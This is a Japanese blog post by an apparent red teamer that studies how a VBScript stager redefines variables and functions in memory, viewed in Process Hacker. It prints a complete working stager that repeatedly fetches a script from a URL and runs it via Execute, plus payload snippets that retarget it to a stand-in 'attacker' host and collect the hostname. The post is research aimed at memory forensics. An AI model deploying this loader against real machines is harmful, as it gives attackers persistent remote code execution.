nknskn ネタ置き場

IT使ってなんかやってる人間のたわごと

VBSマルウェア(Stager)のだいぶ細かい話

VBSマルウェア(stager)のメモリを見てみたよ、という話。経緯に前提とモチベーションを書いてるので長くなってる。飛ばしてもいいと思うけどもあとで「こいつなんでそもそもこんなことやってるんだろう」と思うかもしれない。

経緯

Feb, 2020に開催されたssmjpでこんな話(RedTeamerがRedTeamOpsを受けてみた)をさせていただく機会に恵まれておりまして、まあ実際には話す前に公開されたブログBlack Hat USA 2019 / DEF CON 27に参加してきました -Black Hat編- : NTT Com Haruka Hoshinoが良い感じの内容で、この記事を読んでもらえればざっくりした内容は伝わると判断しました。なので、トレーニングの内容はだいぶ端折ってトレーニングに関連するネタとかAVと戦ってる話とか自作ツールの話をしてたんですが、まあその中でVBS stagerの話をしてました。

どんなStagerかというと具体的には以下

簡単にまとめるとこんな感じ

  • WSHには文字列をスクリプトとして解釈して実行する関数(Execute, ExecuteGlobal)がある
  • このブログで報告されたマルウェアは「実行したいスクリプトを適宜指定のURLから取得し、Execute関数を利用してそのスクリプトを実行する」という機能があった
  • 解析したときにはもうサーバ上にはマルウェアが実行したであろうスクリプトは存在しなかった(正確には名前解決ができないレベルで片づけ済みだった)ので何されたかよくわからん

で、ssmjpの中で(あと以前書いたブログで)、実際にそんな感じのvbscriptを書いて遊んでみたら以下のような気付きがあった、という話をしました。

  • スクリプト内で定義した変数の値を、スクリプト実行中に変更可能
  • COMからWindowsの機能をいろいろ利用できる
    • WinHTTPRequestとか
    • LDAP queryとか > LDAP://CN=hoge,OU=Users,DC=hogehoge,DC=com
    • WMI queryとか > Select * From AntiVirusProduct
    • (ry
  • (ry

で、いくつかの課題のうちこんなのを上げてました

  • Executeってどんな感じで動く? ⇒メモリ上で文字列をソースとして再定義してる感じっぽく見える
  • そもそもVBScriptってどう動いてる?⇒追い切れてない、プロセス解析しなきゃ
  • (ry

というわけで、この記事はダウンローダ(手元ではstagerに改良済み)がメモリ上でどんな感じに「ダウンロードしたスクリプトを展開しているのか」という話です。

スクリプト

シンプルに。汚いとか見づらいと思う方は適当にリファクタリングして遊んでください。 こんな感じのスクリプトだと5秒ごとにlocalhostにアクセスしにくるStagerになります。

On Error Resume Next

' Decode response
Function byte2str(bytes)
    Dim oNode
    Set oNode = CreateObject("System.Text.UTF8Encoding")
    byte2str = oNode.GetString((bytes))
    Set oNode = Nothing
End Function

' Called by "response"
Function Test1()
    Wscript.echo "Alert!"
End Function

Dim obj, response, url, domain, uri, sleeptime
Set obj = CreateObject("MSXML2.ServerXMLHTTP.6.0")

domain    = "localhost"
uri       = "/jquery.js"
sleeptime = 5000

obj.setTimeouts 3000, 3000, 3000, 3000
obj.setOption 2, 13056

Do 
    response = ""
    url = "http://" & domain & uri
    obj.Open "GET", url, False
    obj.Send
    response = byte2str(obj.responseBody)
    Execute(response)
    
    WScript.Sleep(sleeptime)
Loop

普通に実行したときのメモリ

Process Hackerで見てみる。cscript.exeで実行した場合はcscript.exeのプロセスを見ること。流れは以下

  • プロセスのプロパティを開く(Enterが楽)
  • Memoryを開く、探すのめんどくさいんでコードが展開されてるメモリを見つける、「Strings...」
  • 怪しいやつを見る場合、"Resume"で引っかける方針でいくといい気がする. こいつは隠しようがない文字列なので。というわけでMininumは6にして検索
  • FilterでResume、こうすると以下の画像のような感じになるはず

f:id:news-nknskn:20200813192038p:plain
ProcessHacker01

f:id:news-nknskn:20200813192534p:plain
ProcessHacker02

良い感じにメモリに展開されたコードが出てきた。それじゃ通信先についても見ておく。

f:id:news-nknskn:20200813193419p:plain
ProcessHacker03

&で連結されているURLが、IServerXMLHTTPRequestにそのまんま入ってきていることがわかる。

変数を上書きした場合

それじゃ試しに変数domainの値をatatatatatattacker(千葉繁風)に変えてみる。
具体的にはjquery.jsファイル内に以下を書く. 事前にhostsに127.0.0.1 atatatatatattackerを突っ込んでおくこと。

domain = "atatatatatattacker"

メモリ

f:id:news-nknskn:20200813193303p:plain
ProcessHacker04

まあこんな感じでメモリ上で変数が再定義されて、atatatatatattackerがIServerXMLHTTPRequestに入ってきている。というわけでメモリ上で文字列をソースとして再定義してる感じっぽく見えるっていうのは当たってそうだった。
じゃあ関数を再定義したらどうなんの?ってところ。

Function Test1を上書きした場合

まずは上書き前

f:id:news-nknskn:20200813194020p:plain
ProcessHacker05

たぶんOn Errorが入っているのは最初に読み込んだコードだと思われるので他の2か所を見てみる。
上の方

f:id:news-nknskn:20200813194218p:plain
ProcessHacker06

下の方

f:id:news-nknskn:20200813194249p:plain
ProcessHacker07

関数名でデータ持ってるなら前後のメモリに関数のアドレスがあってもおかしくはない気がしたが、よくわからなかった。やっぱWindowsわからない。
とりあえず以下みたいな感じでjquery.jsに書いて、ホスト名を出してみる

Function Test1()
    Wscript.echo CreateObject("WScript.Network").ComputerName
End Function
Call Test1

まあ出てくる

f:id:news-nknskn:20200813195007p:plain
Hostname

そんじゃこの時のメモリはどうなってるかというと

f:id:news-nknskn:20200813195155p:plain
ProcessHacker08

おお、jquery.jsで定義した関数が新しくメモリに載ってきてる。
どうやってそっちを呼ぶようになったのかはまた次回(やる気になったら。ならない気がする)

まとめ

まあこんな感じでVBS(WSH) downloader/Stagerはメモリ上に変数値だったり関数だったりを再定義して、そいつを実行していく感じにできるという話でした。
wshが動いてるときのメモリさえ手に入れば、動的に定義された関数はメモリフォレンジックで見つけることはできるかもしれない(超サイヤ人的な人だけかもしれんけど)。

以上